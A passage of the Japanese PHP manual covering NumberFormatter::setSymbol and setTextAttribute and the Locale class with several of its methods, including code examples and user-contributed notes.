$pattern = '#,##0';
$frmtr = NumberFormatter::create('en-US', NumberFormatter::DECIMAL);
$frmtr->setPattern($pattern);
echo $frmtr->parse('12.345');

// returns 12


記号の値を設定する

  • ≪ NumberFormatter::setPattern
  • NumberFormatter::setTextAttribute ≫
  • PHP Manual
  • NumberFormatter
  • 記号の値を設定する

NumberFormatter::setSymbol

numfmt_set_symbol

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::setSymbol -- numfmt_set_symbol — 記号の値を設定する

説明

オブジェクト指向型

public NumberFormatter::setSymbol ( int $attr , string $value ) : bool

手続き型

numfmt_set_symbol ( NumberFormatter $fmt , int $attr , string $value ) : bool

フォーマッタに関連づけられている記号を設定します。 フォーマッタでは、この記号で数値の中のロケールに依存する文字 (パーセント記号など) を扱います。 この API は、ルールベースのフォーマッタではサポートしていません。

パラメータ

fmt

NumberFormatter オブジェクト。

attr

記号指定子。 フォーマット記号 定数のいずれか。

value

その記号に対応するテキスト。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 numfmt_set_symbol() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

上の例の出力は以下となります。

Sep: .
1.234.567,891
Sep: *
1*234*567,891

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_get_symbol() - 記号を取得する

User Contributed Notes

vreemt+phpnet at gmail dot com 29-Aug-2019 03:55
this could be obvious to some, but `setSymbol(NumberFormatter::CURRENCY_SYMBOL, '')` doesn't work for `formatCurrency` - it will simply be ignored...

use `NumberFormatter::CURRENCY` and `$fmt->format(123);` to get a currency value with the symbol specified as `CURRENCY_SYMBOL` (or `INTL_CURRENCY_SYMBOL`)


テキスト属性を設定する

  • ≪ NumberFormatter::setSymbol
  • Locale ≫
  • PHP Manual
  • NumberFormatter
  • テキスト属性を設定する

NumberFormatter::setTextAttribute

numfmt_set_text_attribute

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::setTextAttribute -- numfmt_set_text_attribute — テキスト属性を設定する

説明

オブジェクト指向型

public NumberFormatter::setTextAttribute ( int $attr , string $value ) : bool

手続き型

numfmt_set_text_attribute ( NumberFormatter $fmt , int $attr , string $value ) : bool

フォーマッタに関連づけられているテキスト属性を設定します。 テキスト属性の例としては、正の数字のサフィックスなどがあります。 属性が理解できない場合は、エラー U_UNSUPPORTED_ERROR が発生します。 ルールベースのフォーマッタでは、 NumberFormatter::DEFAULT_RULESET および NumberFormatter::PUBLIC_RULESETS のみが使用できます。

パラメータ

fmt

NumberFormatter オブジェクト。

attr

属性指定子。 テキスト属性 定数のいずれか。

value

属性の値を表すテキスト。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 numfmt_set_text_attribute() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

上の例の出力は以下となります。

Prefix: -
-1.234.567,891
Prefix: MINUS
MINUS1.234.567,891

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_get_text_attribute() - テキストの属性を取得する
  • numfmt_set_attribute() - 属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


Locale クラス

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

はじめに

"ロケール" とは、言語や文化等の地域固有の内容を API で取得する際に使用する識別子のことです。PHP で使用しているロケールは、 ICU (そして他の多くの Unix 系 OS や Mac、Java など) が採用している CLDR ロケールと同じです。 ロケールは、RFC 4646 形式の言語タグ (アンダースコアではなくハイフンを使用したもの) を使用します。古くから用いられているアンダースコア形式の識別子も使用できます。 特にことわりがない限り、このクラスの関数では両方の形式の識別子を使用可能です。

識別子の例を以下にあげます。

  • en-US (英語、米国)
  • zh-Hant-TW (中国語、繁体字、台湾 )
  • fr-CA, fr-FR (それぞれ、カナダのフランス語とフランスのフランス語)

Locale クラス (そしてそれに対応する手続き型の関数) を使用して、ロケール識別子に対する操作を行います。 たとえばその識別子が妥当な形式かどうかを調べたりします。 CLDR が UAX #35 で使用している (そして ICU も継承している) 拡張は、ICU で普通に用いることができます。

Locale クラスのインスタンスを作成することはできません。 すべての関数/メソッドは静的に使用します。

null や空文字列は "root" ロケールとなります。 この "root" ロケールは、CLDR においては "en_US_POSIX" と同じ意味になります。言語タグ (そして ロケール識別子) は大文字小文字を区別しません。 仕様にあわせて大文字小文字の正規化を行う関数が存在します。

クラス概要

Locale {
/* メソッド */
public static acceptFromHttp ( string $header ) : string
public static canonicalize ( string $locale ) : string
public static composeLocale ( array $subtags ) : string
public static filterMatches ( string $langtag , string $locale , bool $canonicalize = false ) : bool
public static getAllVariants ( string $locale ) : array
public static getDefault ( ) : string
public static getDisplayLanguage ( string $locale , string $in_locale = ? ) : string
public static getDisplayName ( string $locale , string $in_locale = ? ) : string
public static getDisplayRegion ( string $locale , string $in_locale = ? ) : string
public static getDisplayScript ( string $locale , string $in_locale = ? ) : string
public static getDisplayVariant ( string $locale , string $in_locale = ? ) : string
public static getKeywords ( string $locale ) : array
public static getPrimaryLanguage ( string $locale ) : string
public static getRegion ( string $locale ) : string
public static getScript ( string $locale ) : string
public static lookup ( array $langtag , string $locale , bool $canonicalize = false , string $default = ? ) : string
public static parseLocale ( string $locale ) : array
public static setDefault ( string $locale ) : bool
}

定義済み定数

Locale::DEFAULT_LOCALE (null)
NumberFormatter のようなロケールの影響を受けるさまざまなクラスのメソッドの locale パラメータとして使用します。 この定数は、デフォルトのロケールをメソッドで使用するようにします。

これらの定数は、さまざまなクラスの getLocale メソッドでロケールを選択するために使用します。

Locale::ACTUAL_LOCALE (string)
これは、データが実際にやってくる元のロケールです。
Locale::VALID_LOCALE (string)
これは、ICU がサポートする最も明確なロケールです。

これらの定数は、ロケールのパースや合成の方法を定義します。 locale_compose() の引数に渡す配列のキーとして使用し、 また locale_parse() が返す連想配列のキーとしても用いられます。

Locale::LANG_TAG (string)
言語サブタグ
Locale::EXTLANG_TAG (string)
拡張言語サブタグ
Locale::SCRIPT_TAG (string)
文字サブタグ
Locale::REGION_TAG (string)
地域サブタグ
Locale::VARIANT_TAG (string)
変化形サブタグ
Locale::GRANDFATHERED_LANG_TAG (string)
先祖言語 (Grandfathered Language) サブタグ
Locale::PRIVATE_TAG (string)
プライベートサブタグ

参考

  • » RFC 4646 - Tags for Identifying Languages
  • » RFC 4647 - Matching of Language Tags
  • » Unicode CLDR Project:Common Locale Data Repository
  • » IANA Language Subtags Registry
  • » ICU User Guide - Locale
  • » ICU Locale api

目次

  • Locale::acceptFromHttp — 最もあてはまるロケールを HTTP "Accept-Language" ヘッダにもとづいて探す
  • Locale::canonicalize — ロケール文字列を正規化する
  • Locale::composeLocale — 正しく並べ替えて区切られたロケール ID を返す
  • Locale::filterMatches — 言語タグフィルタがロケールにマッチするかどうかを調べる
  • Locale::getAllVariants — 入力ロケールの変化系を取得する
  • Locale::getDefault — INTL のグローバル 'default_locale' からデフォルトのロケールを取得する
  • Locale::getDisplayLanguage — 入力ロケールの言語の表示名を、適切に地域化して返す
  • Locale::getDisplayName — 入力ロケールの表示名を、適切に地域化して返す
  • Locale::getDisplayRegion — 入力ロケールの地域の表示名を、適切に地域化して返す
  • Locale::getDisplayScript — 入力ロケールの文字の表示名を、適切に地域化して返す
  • Locale::getDisplayVariant — 入力ロケールの変化形の表示名を、適切に地域化して返す
  • Locale::getKeywords — 入力ロケールのキーワードを取得する
  • Locale::getPrimaryLanguage — 入力ロケールのプライマリ言語を取得する
  • Locale::getRegion — 入力ロケールの地域を取得する
  • Locale::getScript — 入力ロケールの文字を取得する
  • Locale::lookup — その言語にマッチする言語タグの一覧を検索する
  • Locale::parseLocale — ロケール ID のサブタグ要素を連想配列で返す
  • Locale::setDefault — デフォルトの実行時ロケールを設定する

User Contributed Notes

There are no user contributed notes for this page.


最もあてはまるロケールを HTTP "Accept-Language" ヘッダにもとづいて探す

  • ≪ Locale
  • Locale::canonicalize ≫
  • PHP Manual
  • Locale
  • 最もあてはまるロケールを HTTP "Accept-Language" ヘッダにもとづいて探す

Locale::acceptFromHttp

locale_accept_from_http

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::acceptFromHttp -- locale_accept_from_http — 最もあてはまるロケールを HTTP "Accept-Language" ヘッダにもとづいて探す

説明

オブジェクト指向型

public static Locale::acceptFromHttp ( string $header ) : string

手続き型

locale_accept_from_http ( string $header ) : string

HTTP "Accept-Language" ヘッダが要求する言語リストを満たすロケールを探します。

パラメータ

header

"Accept-Language" ヘッダを含む文字列。RFC 2616 形式。

返り値

対応するロケール ID を返します。

例

例1 locale_accept_from_http() の例

<?php
$locale = locale_accept_from_http($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

例2 オブジェクト指向の例

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

上の例の出力は以下となります。

en_US

参考

  • locale_lookup() - その言語にマッチする言語タグの一覧を検索する

User Contributed Notes

mollasadra at g dot com 16-Apr-2018 03:29
Didn't see this being documented anywhere and the bug hasn't been addressed yet, so to save headache for otherS, this method does a little weird thing with these different locales:

php > echo locale_accept_from_http("zh_TW");
zh
php > echo locale_accept_from_http("zh_CN");
zh
rasmus at mindplay dot dk 22-Nov-2017 02:44
If you're struggling to figure out how to use this function in a project that only supports certain languages, move along.

Unfortunately, this function doesn't let you specify languages supported by your project - and since the internal header parsing and negotiation logic isn't exposed in any other way, you'll most likely want to ditch this function and go for a custom implementation of the same thing:

https://github.com/willdurand/Negotiation
Adam Lange 14-Oct-2012 06:50
It's good to mention that if user browser will not send HTTP_ACCEPT_LANGUAGE, the output from:

 Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);

Will be null.

So remember to set up a fail over scenario!


ロケール文字列を正規化する

  • ≪ Locale::acceptFromHttp
  • Locale::composeLocale ≫
  • PHP Manual
  • Locale
  • ロケール文字列を正規化する

Locale::canonicalize

locale_canonicalize

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::canonicalize -- locale_canonicalize — ロケール文字列を正規化する

説明

public static Locale::canonicalize ( string $locale ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

locale

返り値

User Contributed Notes

jerome at chaman dot ca 25-Nov-2015 03:29
this method performs Level 1 and Level 2 canonicalization according to ICU standards. See http://userguide.icu-project.org/locale#TOC-Canonicalization.

echo \Locale::canonicalize ( 'en-US.utf8' );
// "en_U"
echo \Locale::canonicalize ( 'FR-fr@EURO' );
// "fr_FR@currency=EUR"
echo \Locale::canonicalize ( '' );
// "en_US_POSIX"


正しく並べ替えて区切られたロケール ID を返す

  • ≪ Locale::canonicalize
  • Locale::filterMatches ≫
  • PHP Manual
  • Locale
  • 正しく並べ替えて区切られたロケール ID を返す

Locale::composeLocale

locale_compose

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::composeLocale -- locale_compose — 正しく並べ替えて区切られたロケール ID を返す

説明

オブジェクト指向型

public static Locale::composeLocale ( array $subtags ) : string

手続き型

locale_compose ( array $subtags ) : string

正しく並べ替えて区切られたロケール ID を返します。 キーが特定のロケール ID サブタグを表し、 サブタグの値がそのキーに対応する値となります。

パラメータ

subtags

キーと値のペアを含む配列。 キーには特定のロケール ID サブタグを指定し、 そのサブタグの値を関連付けます。

注意:

サブタグ 'variant' と 'private' には最大で 15 の値を指定できますが、 'extlang' には最大で 3 つの値しか指定できません。 variant には 0 から 14 までのサフィックスをつけることができ、 配列のキーは variant0, variant1, ...,variant14 となります。 返されるロケール ID において、このサブタグは variant0、variant1、variant2、......の順に並びます。

'variant'、'private' および 'extlang' で複数の値を指定するには、 そのキー (例 'variant') の値に配列を指定するか、数字つきの複数のキー (例 'variant0'、'variant1' など) を使用します。

返り値

対応するロケール識別子を返します。

例

例1 locale_compose() の例

<?php
$arr = array(
    'language'=>'en' ,
    'script'  =>'Hans' ,
    'region'  =>'CN',
    'variant2'=>'rozaj' ,
    'variant1'=>'nedis' ,
    'private1'=>'prv1' ,
    'private2'=>'prv2'
);
echo locale_compose( $arr );
?>

例2 オブジェクト指向の例

<?php
$arr = array(
    'language'=>'en' ,
    'script'  =>'Hans' ,
    'region'  =>'CN',
    'variant2'=>'rozaj' ,
    'variant1'=>'nedis' ,
    'private1'=>'prv1' ,
    'private2'=>'prv2'
);
echo Locale::composeLocale( $arr );
?>

上の例の出力は以下となります。

Locale: en_Hans_CN_nedis_rozaj_x_prv1_prv2

参考

  • locale_parse() - ロケール ID のサブタグ要素を連想配列で返す

User Contributed Notes

There are no user contributed notes for this page.


言語タグフィルタがロケールにマッチするかどうかを調べる

  • ≪ Locale::composeLocale
  • Locale::getAllVariants ≫
  • PHP Manual
  • Locale
  • 言語タグフィルタがロケールにマッチするかどうかを調べる

Locale::filterMatches

locale_filter_matches

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::filterMatches -- locale_filter_matches — 言語タグフィルタがロケールにマッチするかどうかを調べる

説明

オブジェクト指向型

public static Locale::filterMatches ( string $langtag , string $locale , bool $canonicalize = false ) : bool

手続き型

locale_filter_matches ( string $langtag , string $locale , bool $canonicalize = false ) : bool

$langtag フィルタが $locale でマッチするかどうかを RFC 4647 の基本フィルタリングアルゴリズムで調べます。

パラメータ

langtag

調べたい言語タグ。

locale

調べる対象となる言語の範囲。

canonicalize

true の場合は、引数を正式な形式に変換してからマッチを行います。

返り値

$locale が $langtag にマッチする場合に true、 それ以外の場合に false を返します。

例

例1 locale_filter_matches() の例

<?php
echo (locale_filter_matches('de-DEVA','de-DE', false)) ? "Matches" : "Does not match";
echo '; ';
echo (locale_filter_matches('de-DE_1996','de-DE', false)) ? "Matches" : "Does not match";
?>

例2 オブジェクト指向の例

<?php
echo (Locale::filterMatches('de-DEVA','de-DE', false)) ? "Matches" : "Does not match";
echo '; ';
echo (Locale::filterMatches('de-DE-1996','de-DE', false)) ? "Matches" : "Does not match";
?>

上の例の出力は以下となります。

Does not match; Matches

参考

  • locale_lookup() - その言語にマッチする言語タグの一覧を検索する

User Contributed Notes

There are no user contributed notes for this page.


入力ロケールの変化系を取得する

  • ≪ Locale::filterMatches
  • Locale::getDefault ≫
  • PHP Manual
  • Locale
  • 入力ロケールの変化系を取得する

Locale::getAllVariants

locale_get_all_variants

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getAllVariants -- locale_get_all_variants — 入力ロケールの変化系を取得する

説明

オブジェクト指向型

public static Locale::getAllVariants ( string $locale ) : array

手続き型

locale_get_all_variants ( string $locale ) : array

入力ロケールの変化系を取得します。

パラメータ

locale

変化系を取得したいロケール。

返り値

そのロケールのすべての variant サブタグを含む配列、あるいは存在しない場合に null を返します。

例

例1 locale_get_all_variants() の例

<?php
$arr = locale_get_all_variants('sl_IT_NEDIS_ROJAZ_1901');
var_export( $arr );
?>

例2 オブジェクト指向の例

<?php
 $arr = Locale::getAllVariants('sl_IT_NEDIS_ROJAZ_1901');
 var_export( $arr );
?>

上の例の出力は以下となります。

array (
    0 => 'NEDIS',
    1 => 'ROJAZ',
    2 => '1901',
)

参考

  • locale_get_primary_language() - 入力ロケールのプライマリ言語を取得する
  • locale_get_script() - 入力ロケールの文字を取得する
  • locale_get_region() - 入力ロケールの地域を取得する

User Contributed Notes

There are no user contributed notes for this page.


INTL のグローバル 'default_locale' からデフォルトのロケールを取得する

  • ≪ Locale::getAllVariants
  • Locale::getDisplayLanguage ≫
  • PHP Manual
  • Locale
  • INTL のグローバル 'default_locale' からデフォルトのロケールを取得する

Locale::getDefault

locale_get_default

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getDefault -- locale_get_default — INTL のグローバル 'default_locale' からデフォルトのロケールを取得する

説明

オブジェクト指向型

public static Locale::getDefault ( ) : string

手続き型

locale_get_default ( ) : string

デフォルトのロケールの値を取得します。PHP の国際化においては、 この値は php.ini の 'intl.default_locale' の値となります。 この値が存在しない場合は ICU の関数 uloc_getDefault() で取得します。

パラメータ

返り値

現在の実行時ロケールを返します。

例

例1 locale_get_default() の例

<?php
ini_set('intl.default_locale', 'de-DE');
echo locale_get_default();
echo '; ';
locale_set_default('fr');
echo locale_get_default();
?>

例2 オブジェクト指向の例

<?php
ini_set('intl.default_locale', 'de-DE');
echo Locale::getDefault();
echo '; ';
Locale::setDefault('fr');
echo Locale::getDefault();
?>

上の例の出力は以下となります。

de-DE; fr

参考

  • locale_set_default() - デフォルトの実行時ロケールを設定する

User Contributed Notes

tjsturos 10-May-2019 07:41
If you don't do anything, you can still call these methods and get the server's default locale.

In the case of Linux (Ubuntu 16.04), it uses the $LANG global variable.

Using the REPL:

echo locale_get_default();   // en_US

and then resetting the $LANG:

tiikeri@ubuntu:~$ LANG="fi_FI.UTF-8"

and back to the REPL:

echo locale_get_default();   // fi_FI


入力ロケールの言語の表示名を、適切に地域化して返す

  • ≪ Locale::getDefault
  • Locale::getDisplayName ≫
  • PHP Manual
  • Locale
  • 入力ロケールの言語の表示名を、適切に地域化して返す

Locale::getDisplayLanguage

locale_get_display_language

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getDisplayLanguage -- locale_get_display_language — 入力ロケールの言語の表示名を、適切に地域化して返す

説明

オブジェクト指向型

public static Locale::getDisplayLanguage ( string $locale , string $in_locale = ? ) : string

手続き型

locale_get_display_language ( string $locale , string $in_locale = ? ) : string

入力ロケールの言語の表示名を、適切に地域化して返します。 null の場合はデフォルトのロケールを使用します。

パラメータ

locale

表示言語を返したいロケール。

in_locale

オプションのフォーマットロケール。 言語名の表示に使用します。

返り値

$locale に対応する言語の表示名を、 $in_locale にあわせた形式で返します。

例

例1 locale_get_display_language() の例

<?php
echo locale_get_display_language('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'de');
?>

例2 オブジェクト指向の例

<?php
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'de');
?>

上の例の出力は以下となります。

Slovenian;
slov\xc3\xa8ne;
Slowenisch

参考

  • locale_get_display_name() - 入力ロケールの表示名を、適切に地域化して返す
  • locale_get_display_script() - 入力ロケールの文字の表示名を、適切に地域化して返す
  • locale_get_display_region() - 入力ロケールの地域の表示名を、適切に地域化して返す
  • locale_get_display_variant() - 入力ロケールの変化形の表示名を、適切に地域化して返す

User Contributed Notes

jake at qzdesign dot co dot uk 16-Nov-2019 09:57
If `$locale` is invalid, the return value is actually the value of `$locale`, not `NULL` or `FALSE` as you might expect.

(If `$in_locale` is invalid, but `$locale` is valid, the return value is the language name in the default locale.)
heitor dot siller at gmail dot com 24-Jul-2011 02:43
To display special characters correctly in a web browser, it's a good idea to decode the result data with utf8_decode:

<?php

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr'));

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'pt-BR'));

?>


入力ロケールの表示名を、適切に地域化して返す

  • ≪ Locale::getDisplayLanguage
  • Locale::getDisplayRegion ≫
  • PHP Manual
  • Locale
  • 入力ロケールの表示名を、適切に地域化して返す

Locale::getDisplayName

locale_get_display_name

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getDisplayName -- locale_get_display_name — 入力ロケールの表示名を、適切に地域化して返す

説明

オブジェクト指向型

public static Locale::getDisplayName ( string $locale , string $in_locale = ? ) : string

手続き型

locale_get_display_name ( string $locale , string $in_locale = ? ) : string

入力ロケールの表示名を、適切に地域化して返します。 $locale が null の場合はデフォルトのロケールを使用します。

パラメータ

locale

表示名を返したいロケール。

in_locale

オプションのフォーマットロケール。

返り値

ロケールの表示名を、 $in_locale にあわせた形式で返します。

例

例1 locale_get_display_name() の例

<?php
echo locale_get_display_name('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'de');
?>

例2 オブジェクト指向の例

<?php
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'de');
?>

上の例の出力は以下となります。

Slovenian (Latin, Italy, Natisone dialect);
slov\xc3\xa8ne (latin, Italie, dialecte de Natisone;
Slowenisch (Lateinisch, Italien, NEDIS)

参考

  • locale_get_display_language() - 入力ロケールの言語の表示名を、適切に地域化して返す
  • locale_get_display_script() - 入力ロケールの文字の表示名を、適切に地域化して返す
  • locale_get_display_region() - 入力ロケールの地域の表示名を、適切に地域化して返す
  • locale_get_display_variant() - 入力ロケールの変化形の表示名を、適切に地域化して返す

User Contributed Notes

There are no user contributed notes for this page.


入力ロケールの地域の表示名を、適切に地域化して返す

  • ≪ Locale::getDisplayName
  • Locale::getDisplayScript ≫
  • PHP Manual
  • Locale
  • 入力ロケールの地域の表示名を、適切に地域化して返す

Locale::getDisplayRegion

locale_get_display_region

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getDisplayRegion -- locale_get_display_region — 入力ロケールの地域の表示名を、適切に地域化して返す

説明

オブジェクト指向型

public static Locale::getDisplayRegion ( string $locale , string $in_locale = ? ) : string

手続き型

locale_get_display_region ( string $locale , string $in_locale = ? ) : string

入力ロケールの地域の表示名を、適切に地域化して返します。 null の場合はデフォルトのロケールを使用します。

パラメータ

locale

表示地域を返したいロケール。

in_locale

オプションのフォーマットロケール。 地域名の表示に使用します。

返り値

$locale に対応する地域の表示名を、 $in_locale にあわせた形式で返します。

例

例1 locale_get_display_region() の例

<?php
echo locale_get_display_region('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'de');
?>

例2 オブジェクト指向の例

<?php
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'de');
?>

上の例の出力は以下となります。

Italy;
Italie;
Italien

参考

  • locale_get_display_name() - 入力ロケールの表示名を、適切に地域化して返す
  • locale_get_display_language() - 入力ロケールの言語の表示名を、適切に地域化して返す
  • locale_get_display_script() - 入力ロケールの文字の表示名を、適切に地域化して返す
  • locale_get_display_variant() - 入力ロケールの変化形の表示名を、適切に地域化して返す

User Contributed Notes

info at domain name (see note) 16-Sep-2016 01:20
in fact , I would do exactly the opposite :  find the country code (iso3166) from the country name. Found on the web, one solution is to use a table of correspondence between the country code and the country name for each language.
There are too many countries and language code for this type of table.

With a PHP function , the convertion can be performed as well:

function countryNameToISO3166($country_name, $language) {
    if (strlen($language) != 2) {
        //Language must be on 2 caracters
        return NULL;
    }

    //Set uppercase if never
    $language = strtoupper($language);

    $countrycode_list = array('AF', 'AX', 'AL', 'DZ', 'AS', 'AD', 'AO', 'AI', 'AQ', 'AG', 'AR', 'AM', 'AW', 'AU', 'AT', 'AZ', 'BS', 'BH', 'BD', 'BB', 'BY', 'BE', 'BZ', 'BJ', 'BM', 'BT', 'BO', 'BQ', 'BA', 'BW', 'BV', 'BR', 'IO', 'BN', 'BG', 'BF', 'BI', 'KH', 'CM', 'CA', 'CV', 'KY', 'CF', 'TD', 'CL', 'CN', 'CX', 'CC', 'CO', 'KM', 'CG', 'CD', 'CK', 'CR', 'CI', 'HR', 'CU', 'CW', 'CY', 'CZ', 'DK', 'DJ', 'DM', 'DO', 'EC', 'EG', 'SV', 'GQ', 'ER', 'EE', 'ET', 'FK', 'FO', 'FJ', 'FI', 'FR', 'GF', 'PF', 'TF', 'GA', 'GM', 'GE', 'DE', 'GH', 'GI', 'GR', 'GL', 'GD', 'GP', 'GU', 'GT', 'GG', 'GN', 'GW', 'GY', 'HT', 'HM', 'VA', 'HN', 'HK', 'HU', 'IS', 'IN', 'ID', 'IR', 'IQ', 'IE', 'IM', 'IL', 'IT', 'JM', 'JP', 'JE', 'JO', 'KZ', 'KE', 'KI', 'KP', 'KR', 'KW', 'KG', 'LA', 'LV', 'LB', 'LS', 'LR', 'LY', 'LI', 'LT', 'LU', 'MO', 'MK', 'MG', 'MW', 'MY', 'MV', 'ML', 'MT', 'MH', 'MQ', 'MR', 'MU', 'YT', 'MX', 'FM', 'MD', 'MC', 'MN', 'ME', 'MS', 'MA', 'MZ', 'MM', 'NA', 'NR', 'NP', 'NL', 'NC', 'NZ', 'NI', 'NE', 'NG', 'NU', 'NF', 'MP', 'NO', 'OM', 'PK', 'PW', 'PS', 'PA', 'PG', 'PY', 'PE', 'PH', 'PN', 'PL', 'PT', 'PR', 'QA', 'RE', 'RO', 'RU', 'RW', 'BL', 'SH', 'KN', 'LC', 'MF', 'PM', 'VC', 'WS', 'SM', 'ST', 'SA', 'SN', 'RS', 'SC', 'SL', 'SG', 'SX', 'SK', 'SI', 'SB', 'SO', 'ZA', 'GS', 'SS', 'ES', 'LK', 'SD', 'SR', 'SJ', 'SZ', 'SE', 'CH', 'SY', 'TW', 'TJ', 'TZ', 'TH', 'TL', 'TG', 'TK', 'TO', 'TT', 'TN', 'TR', 'TM', 'TC', 'TV', 'UG', 'UA', 'AE', 'GB', 'US', 'UM', 'UY', 'UZ', 'VU', 'VE', 'VN', 'VG', 'VI', 'WF', 'EH', 'YE', 'ZM', 'ZW');
    $ISO3166 = NULL;
    //Loop all country codes
    foreach ($countrycode_list as $countrycode) {
        $locale_cc = Locale::getDisplayRegion('-' . $countrycode, $language);
        //Case insensitive
        if (strcasecmp($country_name, $locale_cc) == 0) {
            $ISO3166 = $countrycode;
            break;
        }
    }
    //return NULL if not found or country code
    return $ISO3166;
}

Tests

$cc=countryNameToISO3166('Costa Rica','US');
echo '<br>(English) Country code for Costa Rica is '.$cc;
$cc=countryNameToISO3166('Royaume-Uni','FR');
echo '<br>(Francais) Country code for Royaume-Uni is '.$cc;
$cc=countryNameToISO3166('Frankreich','DE');
echo '<br>(Deutsch) Country code for Frankreich is '.$cc;
//Wrong language
$cc=countryNameToISO3166('Royaume-Uni','US');
echo '<br>(English) Country code for Royaume-Uni is '.var_dump($cc);

returns

(English) Country code for Costa Rica is CR
(Francais) Country code for Royaume-Uni is GB
(Deutsch) Country code for Frankreich is FR
(English) Country code for Royaume-Uni is NULL

Hope it can help someone other

http://www.fobec.com
mark at SHOULDREMOVE dot moderndeveloperllc dot com 08-Aug-2014 03:21
You don't have to have a fully-formed locale for the first parameter. This makes the function useful for getting the country name from any locale:

<?php
var_dump(Locale::getDisplayRegion('-US', 'fr'));

//Returns
string 'Etats-Unis' (length=11)
?>


入力ロケールの文字の表示名を、適切に地域化して返す

  • ≪ Locale::getDisplayRegion
  • Locale::getDisplayVariant ≫
  • PHP Manual
  • Locale
  • 入力ロケールの文字の表示名を、適切に地域化して返す

Locale::getDisplayScript

locale_get_display_script

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getDisplayScript -- locale_get_display_script — 入力ロケールの文字の表示名を、適切に地域化して返す

説明

オブジェクト指向型

public static Locale::getDisplayScript ( string $locale , string $in_locale = ? ) : string

手続き型

locale_get_display_script ( string $locale , string $in_locale = ? ) : string

入力ロケールの文字の表示名を、適切に地域化して返します。 null の場合はデフォルトのロケールを使用します。

パラメータ

locale

表示文字を返したいロケール。

in_locale
